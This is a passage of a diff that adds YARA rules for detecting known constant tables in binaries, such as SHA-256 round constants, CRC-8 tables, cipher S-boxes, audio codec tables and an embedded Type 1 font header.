+	$a0 = { 0000010004000a000b000c001a001b00380039003a00760077007800f200f300f400f500f600f700f001f101f201f301f401ea03eb03ec03ed03ee03ef03f003f103e407e507e607e707e807e907ea07eb07ec07ed07dc0fdd0fde0fdf0fe00fe10fe20fe30fe40fe50fe60fe70fd01fd11fd21fd31fd41fd51fd61fd71fd81fd91fda1fdb1fdc1fdd1fde1fbe3fbf3fc03fc13fc23fc33fc43fc53fc63fc73fc83fc93fca3fcb3fcc3fcd3fce3fcf3fa07fa17fa27fa37fa47fa57fa67fa77fa87fa97faa7fab7fac7fad7fae7faf7fb07fb17fb27fb37fb47fb57fb67f6eff6fff70ff71ff72ff73ff74ff75ff76ff77ff78ff79ff7aff7bff7cff7dff7eff7fff80ff81ff82ff83ff84ff85ff86ff87ff88ff89ff8aff8bff8cff8dff8eff8fff90ff91ff92ff93ff94ff95ff96ff97ff98ff99ff9aff9bff9cff9dff9eff9fffa0ffa1ffa2ffa3ffa4ffa5ffa6ffa7ffa8ffa9ffaaffabffacffadffaeffafffb0ffb1ffb2ffb3ffb4ffb5ffb6ffb7ffb8ffb9ffbaffbbffbcffbdffbeffbfffc0ffc1ffc2ffc3ffc4ffc5ffc6ffc7ffc8ffc9ffcaffcbffccffcdffceffcfffd0ffd1ffd2ffd3ffd4ffd5ffd6ffd7ffd8ffd9ffdaffdbffdcffddffdeffdfffe0ffe1ffe2ffe3ffe4ffe5ffe6ffe7ffe8ffe9ffeaffebffecffedffeeffeffff0fff1fff2fff3fff4fff5fff6fff7fff8fff9fffafffbfffcfffdfffeffffff }
+
+condition:
+	$a0
+}
+
+	
+rule OSD_fonts__8_byt_8185_
+{
+strings:
+	$a0 = { 800102170000252150532d41646f6265466f6e742d312e303a204f534420312e30300a25254372656174696f6e446174653a2053756e204a756c2032322031323a33383a323820323030310a250a2525456e64436f6d6d656e74730a3132206469637420626567696e0a2f466f6e74496e666f203920646963742064757020626567696e0a2f76657273696f6e202856657273696f6e20312e30302920726561646f6e6c79206465660a2f4e6f746963652028546869732069732067656e6572617465642066696c652e2920726561646f6e6c79206465660a2f46756c6c4e616d6520284f53442920726561646f6e6c79206465660a2f46616d696c794e616d6520284f53442920726561646f6e6c79206465660a2f5765696768742028526567756c61722920726561646f6e6c79206465660a2f4974616c6963416e676c6520302e303030303030206465660a2f6973466978656450697463682066616c7365206465660a2f556e6465726c696e65506f736974696f6e202d313333206465660a2f556e6465726c696e65546869636b6e657373203439206465660a656e6420726561646f6e6c79206465660a2f466f6e744e616d65202f4f5344206465660a2f5061696e74547970652030206465660a2f5374726f6b6557696474682030206465660a2f466f6e744d6174726978205b302e3030312030203020302e303031203020305d206465660a2f466f6e7442426f78207b30202d31302031303030203831307d20726561646f6e6c79206465660a2f456e636f64696e67203235362061727261790a6475702030202f2e6e6f74646566207075740a6475702031202f756e6945303031207075740a6475702032202f756e6945303032207075740a6475702033202f756e6945303033207075740a6475702034202f756e6945303034207075740a6475702035202f756e6945303035207075740a6475702036202f756e6945303036207075740a6475702037202f756e6945303037207075740a6475702038202f756e6945303038207075740a6475702039202f756e6945303039207075740a647570203130202f756e6945303041207075740a647570203131202f756e6945303042207075740a647570203132202f2e6e6f74646566207075740a647570203133202f2e6e6f74646566207075740a647570203134202f2e6e6f74646566207075740a647570203135202f2e6e6f74646566207075740a647570203136202f756e6945303130207075740a647570203137202f756e6945303131207075740a647570203138202f756e6945303132207075740a647570203139202f756e6945303133207075740a647570203230202f2e6e6f74646566207075740a647570203231202f2e6e6f74646566207075740a647570203232202f2e6e6f74646566207075740a647570203233202f2e6e6f74646566207075740a647570203234202f2e6e6f74646566207075740a647570203235202f2e6e6f74646566207075740a647570203236202f2e6e6f74646566207075740a647570203237202f2e6e6f74646566207075740a647570203238202f2e6e6f74646566207075740a647570203239202f2e6e6f74646566207075740a647570203330202f2e6e6f74646566207075740a647570203331202f2e6e6f74646566207075740a647570203332202f2e6e6f74646566207075740a647570203333202f2e6e6f74646566207075740a647570203334202f2e6e6f74646566207075740a647570203335202f2e6e6f74646566207075740a647570203336202f2e6e6f74646566207075740a647570203337202f2e6e6f74646566207075740a647570203338202f2e6e6f74646566207075740a647570203339202f2e6e6f74646566207075740a647570203430202f2e6e6f74646566207075740a647570203431202f2e6e6f74646566207075740a647570203432202f2e6e6f74646566207075740a647570203433202f2e6e6f74646566207075740a647570203434202f2e6e6f74646566207075740a647570203435202f2e6e6f74646566207075740a647570203436202f2e6e6f74646566207075740a647570203437202f2e6e6f74646566207075740a647570203438202f2e6e6f74646566207075740a647570203439202f2e6e6f74646566207075740a647570203530202f2e6e6f74646566207075740a647570203531202f2e6e6f74646566207075740a647570203532202f2e6e6f74646566207075740a647570203533202f2e6e6f74646566207075740a647570203534202f2e6e6f74646566207075740a647570203535202f2e6e6f74646566207075740a647570203536202f2e6e6f74646566207075740a647570203537202f2e6e6f74646566207075740a647570203538202f2e6e6f74646566207075740a647570203539202f2e6e6f74646566207075740a647570203630202f2e6e6f74646566207075740a647570203631202f2e6e6f74646566207075740a647570203632202f2e6e6f74646566207075740a647570203633202f2e6e6f74646566207075740a647570203634202f2e6e6f74646566207075740a647570203635202f2e6e6f74646566207075740a647570203636202f2e6e6f74646566207075740a647570203637202f2e6e6f74646566207075740a647570203638202f2e6e6f74646566207075740a647570203639202f2e6e6f74646566207075740a647570203730202f2e6e6f74646566207075740a647570203731202f2e6e6f74646566207075740a647570203732202f2e6e6f74646566207075740a647570203733202f2e6e6f74646566207075740a647570203734202f2e6e6f74646566207075740a647570203735202f2e6e6f74646566207075740a647570203736202f2e6e6f74646566207075740a647570203737202f2e6e6f74646566207075740a647570203738202f2e6e6f74646566207075740a647570203739202f2e6e6f74646566207075740a647570203830202f2e6e6f74646566207075740a647570203831202f2e6e6f74646566207075740a647570203832202f2e6e6f74646566207075740a647570203833202f2e6e6f74646566207075740a647570203834202f2e6e6f74646566207075740a647570203835202f2e6e6f74646566207075740a647570203836202f2e6e6f74646566207075740a647570203837202f2e6e6f74646566207075740a647570203838202f2e6e6f74646566207075740a647570203839202f2e6e6f74646566207075740a647570203930202f2e6e6f74646566207075740a647570203931202f2e6e6f74646566207075740a647570203932202f2e6e6f74646566207075740a647570203933202f2e6e6f74646566207075740a647570203934202f2e6e6f74646566207075740a647570203935202f2e6e6f74646566207075740a647570203936202f2e6e6f74646566207075740a647570203937202f2e6e6f74646566207075740a647570203938202f2e6e6f74646566207075740a647570203939202f2e6e6f74646566207075740a64757020313030202f2e6e6f74646566207075740a64757020313031202f2e6e6f74646566207075740a64757020313032202f2e6e6f74646566207075740a64757020313033202f2e6e6f74646566207075740a64757020313034202f2e6e6f74646566207075740a64757020313035202f2e6e6f74646566207075740a64757020313036202f2e6e6f74646566207075740a64757020313037202f2e6e6f74646566207075740a64757020313038202f2e6e6f74646566207075740a64757020313039202f2e6e6f74646566207075740a64757020313130202f2e6e6f74646566207075740a64757020313131202f2e6e6f74646566207075740a64757020313132202f2e6e6f74646566207075740a64757020313133202f2e6e6f74646566207075740a64757020313134202f2e6e6f74646566207075740a64757020313135202f2e6e6f74646566207075740a64757020313136202f2e6e6f74646566207075740a64757020313137202f2e6e6f74646566207075740a64757020313138202f2e6e6f74646566207075740a64757020313139202f2e6e6f74646566207075740a64757020313230202f2e6e6f74646566207075740a64757020313231202f2e6e6f74646566207075740a64757020313232202f2e6e6f74646566207075740a64757020313233202f2e6e6f74646566207075740a64757020313234202f2e6e6f74646566207075740a64757020313235202f2e6e6f74646566207075740a64757020313236202f2e6e6f74646566207075740a64757020313237202f2e6e6f74646566207075740a64757020313238202f2e6e6f74646566207075740a64757020313239202f2e6e6f74646566207075740a64757020313330202f2e6e6f74646566207075740a64757020313331202f2e6e6f74646566207075740a64757020313332202f2e6e6f74646566207075740a64757020313333202f2e6e6f74646566207075740a64757020313334202f2e6e6f74646566207075740a64757020313335202f2e6e6f74646566207075740a64757020313336202f2e6e6f74646566207075740a64757020313337202f2e6e6f74646566207075740a64757020313338202f2e6e6f74646566207075740a64757020313339202f2e6e6f74646566207075740a64757020313430202f2e6e6f74646566207075740a64757020313431202f2e6e6f74646566207075740a64757020313432202f2e6e6f74646566207075740a64757020313433202f2e6e6f74646566207075740a64757020313434202f2e6e6f74646566207075740a64757020313435202f2e6e6f74646566207075740a64757020313436202f2e6e6f74646566207075740a64757020313437202f2e6e6f74646566207075740a64757020313438202f2e6e6f74646566207075740a64757020313439202f2e6e6f74646566207075740a64757020313530202f2e6e6f74646566207075740a64757020313531202f2e6e6f74646566207075740a64757020313532202f2e6e6f74646566207075740a64757020313533202f2e6e6f74646566207075740a64757020313534202f2e6e6f74646566207075740a64757020313535202f2e6e6f74646566207075740a64757020313536202f2e6e6f74646566207075740a64757020313537202f2e6e6f74646566207075740a64757020313538202f2e6e6f74646566207075740a64757020313539202f2e6e6f74646566207075740a64757020313630202f2e6e6f74646566207075740a64757020313631202f2e6e6f74646566207075740a64757020313632202f2e6e6f74646566207075740a64757020313633202f2e6e6f74646566207075740a64757020313634202f2e6e6f74646566207075740a64757020313635202f2e6e6f74646566207075740a64757020313636202f2e6e6f74646566207075740a64757020313637202f2e6e6f74646566207075740a64757020313638202f2e6e6f74646566207075740a64757020313639202f2e6e6f74646566207075740a64757020313730202f2e6e6f74646566207075740a64757020313731202f2e6e6f74646566207075740a64757020313732202f2e6e6f74646566207075740a64757020313733202f2e6e6f74646566207075740a64757020313734202f2e6e6f74646566207075740a64757020313735202f2e6e6f74646566207075740a64757020313736202f2e6e6f74646566207075740a64757020313737202f2e6e6f74646566207075740a64757020313738202f2e6e6f74646566207075740a64757020313739202f2e6e6f74646566207075740a64757020313830202f2e6e6f74646566207075740a64757020313831202f2e6e6f74646566207075740a64757020313832202f2e6e6f74646566207075740a64757020313833202f2e6e6f74646566207075740a64757020313834202f2e6e6f74646566207075740a64757020313835202f2e6e6f74646566207075740a64757020313836202f2e6e6f74646566207075740a64757020313837202f2e6e6f74646566207075740a64757020313838202f2e6e6f74646566207075740a64757020313839202f2e6e6f74646566207075740a64757020313930202f2e6e6f74646566207075740a64757020313931202f2e6e6f74646566207075740a64757020313932202f2e6e6f74646566207075740a64757020313933202f2e6e6f74646566207075740a64757020313934202f2e6e6f74646566207075740a64757020313935202f2e6e6f74646566207075740a64757020313936202f2e6e6f74646566207075740a64757020313937202f2e6e6f74646566207075740a64757020313938202f2e6e6f74646566207075740a64757020313939202f2e6e6f74646566207075740a64757020323030202f2e6e6f74646566207075740a64757020323031202f2e6e6f74646566207075740a64757020323032202f2e6e6f74646566207075740a64757020323033202f2e6e6f74646566207075740a64757020323034202f2e6e6f74646566207075740a64757020323035202f2e6e6f74646566207075740a64757020323036202f2e6e6f74646566207075740a64757020323037202f2e6e6f74646566207075740a64757020323038202f2e6e6f74646566207075740a64757020323039202f2e6e6f74646566207075740a64757020323130202f2e6e6f74646566207075740a64757020323131202f2e6e6f74646566207075740a64757020323132202f2e6e6f74646566207075740a64757020323133202f2e6e6f74646566207075740a64757020323134202f2e6e6f74646566207075740a64757020323135202f2e6e6f74646566207075740a64757020323136202f2e6e6f74646566207075740a64757020323137202f2e6e6f74646566207075740a64757020323138202f2e6e6f74646566207075740a64757020323139202f2e6e6f74646566207075740a64757020323230202f2e6e6f74646566207075740a64757020323231202f2e6e6f74646566207075740a64757020323232202f2e6e6f74646566207075740a64757020323233202f2e6e6f74646566207075740a64757020323234202f2e6e6f74646566207075740a64757020323235202f2e6e6f74646566207075740a64757020323236202f2e6e6f74646566207075740a64757020323237202f2e6e6f74646566207075740a64757020323238202f2e6e6f74646566207075740a64757020323239202f2e6e6f74646566207075740a64757020323330202f2e6e6f74646566207075740a64757020323331202f2e6e6f74646566207075740a64757020323332202f2e6e6f74646566207075740a64757020323333202f2e6e6f74646566207075740a64757020323334202f2e6e6f74646566207075740a64757020323335202f2e6e6f74646566207075740a64757020323336202f2e6e6f74646566207075740a64757020323337202f2e6e6f74646566207075740a64757020323338202f2e6e6f74646566207075740a64757020323339202f2e6e6f74646566207075740a64757020323430202f2e6e6f74646566207075740a64757020323431202f2e6e6f74646566207075740a64757020323432202f2e6e6f74646566207075740a64757020323433202f2e6e6f74646566207075740a64757020323434202f2e6e6f74646566207075740a64757020323435202f2e6e6f74646566207075740a64757020323436202f2e6e6f74646566207075740a64757020323437202f2e6e6f74646566207075740a64757020323438202f2e6e6f74646566207075740a64757020323439202f2e6e6f74646566207075740a64757020323530202f2e6e6f74646566207075740a64757020323531202f2e6e6f74646566207075740a64757020323532202f2e6e6f74646566207075740a64757020323533202f2e6e6f74646566207075740a64757020323534202f2e6e6f74646566207075740a64757020323535202f2e6e6f74646566207075740a726561646f6e6c79206465660a63757272656e746469637420656e640a63757272656e7466696c652065657865630a800264070000d9d66f633b846a989b9974b0179fc6cc445bc2c03103c68570a7b354a4a280ae6fbf7f9888e062ace92116eda3164ab431b6aa5d94f1c30434fbebfd8db1f9afd6140e48a2d1df43a352acb2a005e8d43cdf44b0fb04b46bf57cb25acf592ba684f3b81821befef4fd83303119637076cc178df5bb1b08b239997440fce8a575b0e8064f42a4ed7bd4de19f885975a82e97adaf9e99e707fd5d6504e24feadb3d183b06304b0435dcfe8e0f701b5ae80a2abf3f9025ee4710d729d9afd8196c5de19f8bc12c052c0a8558c7fa05f84467546fc135e0511cefcd496fdf0a9c4bbcf07973793c2ab4878a580c2f6fa6290777429538ecc7cb230d24c74e5d98c5a06839047d8bb488693bfdb8779caafd0b08b3d0e27c0dada4ef9c77711ff10c96a74fbe50dd2437044bb41f315925790d9476f468e4a56724f39eefc1945b2899af0a70f1478aff3870986d9fa4b3e7296c13b39fa7e7c2ea2d078a9ce4f3d0c713eca52a03ae933e89b41c6ec132d228a6621c18f98cea5f9e54476b4c8468dcd65c961dfa7a9d7580ac15bc8d987dac61e8b64ca08755a86bab2579623fbf9b242d5138faa7e97a2d60e17cbdf6fdbb0b2688af69b6c9f77d733a9361f50e1a01fd9b83ba91c2b1ea431245b4895c1263f6224712ee6aeddd0a151832c3b2d14ea94da7787e2d2974d5a286b641937c93f9066b8912f17d6b6a955c17b04b096a0349a14ea12f033c3c2792a42338d7517f405793689228ddbd628aeaa220c8660e0665c7a430b7fd47459482bd8b7d105eebe91e4678d4dd225e013d785538b9cd05f0909fdffe15937e46d9e65342efd34672a1d6ec6514d69559cf7fce74e75d52c01d570298bd06aa5691c989881dabfc08af6306cf9b00df4f96a3555022d97e6d015a8bef580e073d5b8aedc5b6aa24d677d61cda9f0e00a633e03017dcf56914874654cdccde3fedfc0825e25b4ea04e06f165b945df762cec3a8b99b0fd95c92565958415085bb2013ccffa9d0a18891024e44e62e36c18b53b5c747adb110e7b71c27bff0167939aa4fa40579007f3fc6fc0ff96b21bf579f6410fecdd9801cabb0216a844e8a0793c67654418e2d2d72c952a216df0d840943883e25215af328ec4d0841ce557ef93454cca22de0954a78d58cd4d41b3c17e0b72ff58ac72b712a42440458cf031a432ef5f068bf905483c857edbbbcc007137d7117372c3e3cce31db68acd48ccad76e52510a2da009bffa80ced9e82cfa34ce8c8595d57ad3630249444eee34a923568869f1f86d28c92dd2637264e2d7b66a74b8f3daca56a9bdff0403cac2082754175ca171b4327085520ac06537979fb5efe626c5ad7b2a2ad939b2275643f64ace843e9097e362cce5a62c4af31091f337986169df5b1149e04356ede90398176e41c955a8775e02d5089f045e18798df9edc746934fd7b94619d448c7f97361ac5b3d18528f73c677ad573a8ad73aeeaef98047bcdb4449015d9d3eeb1ab35337ca4b42da09d94ccd85c09437225e7473da60564e070c4d462966087480c238fb76d59403a0413b66c3fa2c1add9e5f1777a10c8c47c40d512947b9b9edbbeedeb3f933ec59da02f9a36c8c52598dbc8689a00dd0686da0b1540cbc2ee9a08d2ead37db959bb077b64f02ba0be2bd7c4ba74dab459664ef2d6b663e106779630a967e7698cf4e13a03c8ebff3d7609eb9d0e0bd14fb89af2dcfd79022c177544a6c425cab6875bdeb053e5e3bfb1a87c620153f6203f77df69c1d5f809313b676be90bc1d8766a4fefd11911f8f1e359b8859f6858f07e915455907f4b5661acd1912e0e4885dc98ca69b2329190789e54a83c7cff510c58056de3ea7688b711563122412bbc4b0fe654fe9e91380bf3a33bdba9f704233c45d3beb66990eff66391eea00131349a7ef7c55b0369fe32d7d1ab90e2fff9b03a1aab66d7b8de30e4b2b7c96dbb8f0d3a5bfbb3eda95a2c7d28e8edcfe77934b6e1f13216a609f8ce1055053583fdcab2096dbb0b508dbb9c462ce471b0ccdb678fb681442f3753f4f44ec75127b100e2b39642ceaaff21108fcca61c1cc8bc7b4c3737f30c9b89ca5ceb6a7c41cf0e6175a187e7fbbc08f083df7a49a99b47b4d81fce1361bb59aa7dcdc6e1ce34a4e578086b4fa01943d9249a40f950057cfe674d7af8a932383671fcdb9e13b9f86043c6b885f7f875498f72f0c5c239511e10128565c5e82e222126b1e90271680506528c167f536f2fbff30f10628722eb864caa6d014c750cab2a382dae8b27760acc994938acfb5fe2890961d5c801ecbf3db3c3a03ebc7292ca2555e666bd4a760a7e956dc1ef2025f49b729314f942bd3d71a5116e10b5bcfa198702450113b97849f5cdc81fe6464ee2aa591d314c66ee63bf8772b35a32d6c3bc2d58e281a67f0565511f0789181a9f4d2bb06e4217f9d3349302206968531e6d79bd027536ce20ccf730d18265621cdf8ad1dfb826b0121451796118827c12e11a92395f2beaabac7a0f54221eda07d02f8be58238fdb0d7bdcd88fe2e4d99926087b976b4ffe3f6a49b08e7be5f90d8c4e398c958180d93ac29f653fd92fa3d74ca3f693d784b0af2de2cd04569e63081b2361addd17a39451aa7ad3ac90c2586186ec0e97fc45b43ba2dcb2dde2800108020000303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030300a303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030300a303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030300a303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030300a303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030300a303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030 }
+
+condition:
+	$a0
+}
+
+	
+rule Zodiac_SS2__32_lil_1024_
+{
+strings:
+	$a0 = { 00002d000000f30000007c0000006d0000009d000000b50000002600000074000000f20000009300000053000000b0000000f000000011000000ed0000008300000078000000b60000000300000016000000730000003b0000001e0000008e00000070000000bd000000860000001b000000470000007e0000002400000056000000f100000077000000880000004600000097000000b1000000ba000000a3000000b7000000100000000a000000c500000037000000b3000000c90000005a00000028000000ac00000064000000a5000000ec000000ab000000aa000000c60000006700000095000000580000000d000000f80000009a000000f60000006e00000066000000dc000000050000003d000000d30000008a000000c3000000d8000000890000006a000000e9000000360000004900000043000000bf000000eb000000d4000000960000009b00000068000000a0000000650000005d00000057000000920000001f000000d5000000710000005c000000bb00000022000000c1000000be0000007b000000bc0000009900000063000000940000005f0000002a00000061000000b8000000340000003200000019000000fd000000fb0000001700000040000000e6000000510000001d00000041000000440000008f00000029000000dd0000000400000080000000de000000e700000031000000d60000007f00000001000000a2000000f700000039000000da0000006f00000023000000ca000000fe0000003a000000d00000001c000000d1000000300000003e00000012000000a1000000cd0000000f000000e0000000a8000000af00000082000000590000002c000000f50000007d000000ad000000b2000000ef000000c200000087000000ce00000075000000060000001300000002000000900000004f0000002e000000720000003300000085000000c00000008d000000cf000000a900000081000000e2000000c4000000270000002f0000006c0000007a0000009f00000052000000e100000015000000380000002b000000fc0000002000000042000000c700000008000000e400000009000000550000005e0000008c000000140000007600000060000000ff000000df000000d700000098000000fa0000000b00000021000000000000001a000000f9000000a6000000b9000000e80000009e000000620000004c000000d90000009100000050000000d2000000ee00000018000000b40000000700000084000000ea0000005b000000a4000000c80000000e000000cb00000048000000690000004b0000004e0000009c0000003500000079000000450000004d00000054000000e5000000250000003c0000000c0000004a0000008b0000003f000000cc000000a7000000db0000006b000000ae000000f4000000e300 }
+
+condition:
+	$a0
+}
+
+	
+rule ACSS_encryption_sbox__8_byt_256_
+{
+strings:
+	$a0 = { 333b7315535b13753d357d1b5d551d7b676f2781c7cf87216961298fc9c1892fe3eba305434b03a5ede5ad0b4d450dabeae2aa004a420aa0e8e0a802484008a23e367e145e561e743c347c165c541c766a622a80cac28a2068602882c8c08822eee6ae044e460ea4ece4ac064c440ca6e7efa701474f07a1e9e1a90f494109af636b2385c3cb83256d652d8bcdc58d2b373f7711575f17713931791f5951197fb3bbf395d3db93f5bdb5fd9bddd59dfbbab2fa90dad29af0b8b0f892d8d098f26e662e84cec68e246c642c86ccc48c263a327a105a521a703830781258501872beb6fe94ded69ef4bcb4fc96dcd49cf6b7bff791d7df97f1b9b1f99fd9d199ff }
+
+condition:
+	$a0
+}
+
+	
+rule Ruby_MARK_5__32_big_AND_
+{
+strings:
+	$a0 = { 456c6091[0-20]aa7110c3[0-20]0000001f[0-20]0000001b }
+
+condition:
+	$a0
+}
+
+	
+rule SHA256_Hash_constant_words_K__0x428a2f98___32_lil_256_
+{
+strings:
+	$a0 = { 982f8a4291443771cffbc0b5a5dbb5e95bc25639f111f159a4823f92d55e1cab98aa07d8015b8312be853124c37d0c55745dbe72feb1de80a706dc9b74f19bc1c1699be48647beefc69dc10fcca10c246f2ce92daa84744adca9b05cda88f97652513e986dc631a8c82703b0c77f59bff30be0c64791a7d55163ca0667292914850ab72738211b2efc6d2c4d130d385354730a65bb0a6a762ec9c281852c7292a1e8bfa24b661aa8708b4bc2a3516cc719e892d1240699d685350ef470a06a1016c1a419086c371e4c774827b5bcb034b30c1c394aaad84e4fca9c5bf36f2e68ee828f746f63a5781478c8840802c78cfaffbe90eb6c50a4f7a3f9bef27871c6 }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_hw_gain__flt32___32_lil_136_
+{
+strings:
+	$a0 = { 007e153f00f81a3f00a4203f0086263f00a02c3f00f2323f007e393f004a403f0054473f00a04e3f0030563f00085e3f002a663f00986e3f0024763f00967b3f00e27e3f0000803f00ee7e3f00b07b3f004a763f00ca6e3f0040653f00c0593f00644c3f00483d3f00902c3f005e1a3f00da063f005ce43e0014b93e00348c3e00483c3e0020bd3d }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_8_CCITT_poly_0xe1__8_byt_refl_False_
+{
+strings:
+	$a0 = { 00e123c246a765848c6daf4eca2be908f918da3bbf5e9c7d759456b733d210f113f230d155b476979f7ebc5dd938fa1bea0bc928ac4d8f6e668745a420c103e226c705e4608143a2aa4b8968ec0dcf2edf3efc1d9978ba5b53b2709115f436d735d416f7739250b1b9589a7bff1edc3dcc2def0e8a6ba94840a1638206e725c44cad6f8e0aeb29c8c021e3028667a544b5549677f312d03139d81afb7f9e5cbd5fbe7c9d19f83adbd332f0119574b657a6478564e001c3222acb09e86c8d4fae6a8b49a82ccd0feee607c524a04183629372b051d534f6171ffe3cdd59b87a9b79985abb3fde1cfdf514d637b35290718061a342c627e5040ced2fce4aab6988 }
+
+condition:
+	$a0
+}
+
+	
+rule Yamaha_ADPCM_diff_lookup_table__32_lil_64_
+{
+strings:
+	$a0 = { 01000000030000000500000007000000090000000B0000000D0000000F000000FFFFFFFFFDFFFFFFFBFFFFFFF9FFFFFFF7FFFFFFF5FFFFFFF3FFFFFFF1FFFFFF }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_hw_synth__flt32___32_lil_420_
+{
+strings:
+	$a0 = { 001e1a3f003c1b3f005a1c3f007a1d3f009e1e3f00c41f3f00ea203f0014223f0040233f006c243f009c253f00ce263f0002283f003a293f00722a3f00ac2b3f00ea2c3f002a2e3f006c2f3f00b0303f00f6313f003e333f008a343f00d8353f0028373f007a383f00d0393f00263b3f00803c3f00dc3d3f003c3f3f009c403f0000423f0068433f00d0443f003c463f00aa473f001c493f008e4a3f00044c3f007e4d3f00fa4e3f0078503f00fa513f007e533f0004553f008e563f001a583f00aa593f003c5b3f00d05c3f00685e3f0004603f00a2613f0042633f00e6643f008e663f0038683f00e4693f00946b3f00486d3f00fe6e3f00b8703f0074723f0034743f00f8753f00be773f0088793f00567b3f00267d3f00ae7e3f00a27f3f00fe7f3f00c67f3f00fa7e3f00987d3f00a07b3f0018793f00fc753f0050723f00186e3f0054693f0008643f00385e3f00e4573f0012513f00c8493f0006423f00d4393f0034313f002c283f00c41e3f00fe143f00e00a3f0072003f0070eb3e0074d53e00fcbe3e0014a83e00c8903e0058723e0088423e0048123e0070c33d00a0433d }
+
+condition:
+	$a0
+}
+
+	
+rule HAVAL_wi5__32_big_128_
+{
+strings:
+	$a0 = { 0000001b00000003000000150000001a000000110000000b000000140000001d00000013000000000000000c000000070000000d000000080000001f0000000a00000005000000090000000e0000001e00000012000000060000001c00000018000000020000001700000010000000160000000400000001000000190000000f }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_8_CCITT_poly_0x87__8_byt_refl_False_
+{
+strings:
+	$a0 = { 0087890e95121c9bad2a24a338bfb136dd5a54d348cfc14670f7f97ee5626ceb3dbab433a82f21a69017199e05828c0be06769ee75f2fc7b4dcac443d85f51d67afdf374ef6866e1d7505ed942c5cb4ca7202ea932b5bb3c0a8d83049f18169147c0ce49d2555bdcea6d63e47ff8f6719a1d13940f88860137b0be39a2252bacf4737dfa61e6e86f59ded057cc4b45c229aea027bc3b35b284030d8a1196981fc94e40c75cdbd55264e3ed6af17678ff14939d1a8106088fb93e30b72caba5228e0907801b9c921523a4aa2db6313fb853d4da5dc6414fc8fe7977f06bece265b3343abd26a1af281e9997108b0c02856ee9e760fb7c72f5c3444acd56d1df58 }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_intwinbase__32_big_1028_
+{
+strings:
+	$a0 = { 00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFDFFFFFFFDFFFFFFFCFFFFFFFCFFFFFFFBFFFFFFFBFFFFFFFAFFFFFFF9FFFFFFF9FFFFFFF8FFFFFFF7FFFFFFF6FFFFFFF5FFFFFFF3FFFFFFF2FFFFFFF0FFFFFFEFFFFFFFEDFFFFFFEBFFFFFFE8FFFFFFE6FFFFFFE3FFFFFFE1FFFFFFDDFFFFFFDAFFFFFFD7FFFFFFD3FFFFFFCFFFFFFFCBFFFFFFC6FFFFFFC1FFFFFFBCFFFFFFB7FFFFFFB1FFFFFFABFFFFFFA5FFFFFF9FFFFFFF98FFFFFF91FFFFFF8BFFFFFF83FFFFFF7CFFFFFF75FFFFFF6DFFFFFF66FFFFFF5FFFFFFF57FFFFFF50FFFFFF49FFFFFF42FFFFFF3CFFFFFF36FFFFFF30FFFFFF2BFFFFFF26FFFFFF22FFFFFF1FFFFFFF1DFFFFFF1CFFFFFF1CFFFFFF1DFFFFFF20FFFFFF23FFFFFF29FFFFFF30FFFFFF38FFFFFF43FFFFFF4FFFFFFF5DFFFFFF6EFFFFFF81FFFFFF96FFFFFFADFFFFFFC7FFFFFFE30000000200000024000000480000006F00000099000000C5000000F4000001260000015B00000191000001CB000002070000024500000285000002C70000030B0000035000000397000003DF0000042800000471000004BA000005030000054C00000594000005DA0000061F00000662000006A2000006DF000007190000074E0000077F000007AA000007D1000007F0000008090000081B0000082500000827000008200000080F000007F5000007D0000007A0000007650000071E000006CB0000066C000005FF00000586000005000000046B000003CA0000031A0000025D00000192000000B9FFFFFFD3FFFFFEE0FFFFFDDFFFFFFCD2FFFFFBB9FFFFFA94FFFFF964FFFFF82AFFFFF6E6FFFFF599FFFFF444FFFFF2E9FFFFF187FFFFF021FFFFEEB7FFFFED4CFFFFEBDFFFFFEA73FFFFE909FFFFE7A3FFFFE643FFFFE4E9FFFFE399FFFFE253FFFFE11AFFFFDFEFFFFFDED5FFFFDDCDFFFFDCDAFFFFDBFDFFFFDB38FFFFDA8FFFFFDA01FFFFD992FFFFD944FFFFD919FFFFD912FFFFD931FFFFD979FFFFD9EAFFFFDA88FFFFDB53FFFFDC4DFFFFDD78FFFFDED4FFFFE064FFFFE228FFFFE422FFFFE652FFFFE8B9FFFFEB58FFFFEE2FFFFFF140FFFFF489FFFFF80BFFFFFBC6FFFFFFBA000003E60000084A00000CE4000011B5000016BA00001BF20000215C000026F700002CBF000032B4000038D400003F1B0000458700004C16000052C500005991000060760000677200006E81000075A000007CCB000083FF00008B3800009271000099A80000A0D80000A7FE0000AF150000B6190000BD060000C3D90000CA8D0000D11E0000D78A0000DDCA0000E3DD0000E9BE0000EF690000F4DC0000FA130000FF0A000103BE0001082D00010C540001102F000113BE000116FC000119E900011C8300011EC7000120B4000122490001238600012468000124F00001251E }
+
+condition:
+	$a0
+}
+
+	
+rule khazad_U3__32_lil_1024_
+{
+strings:
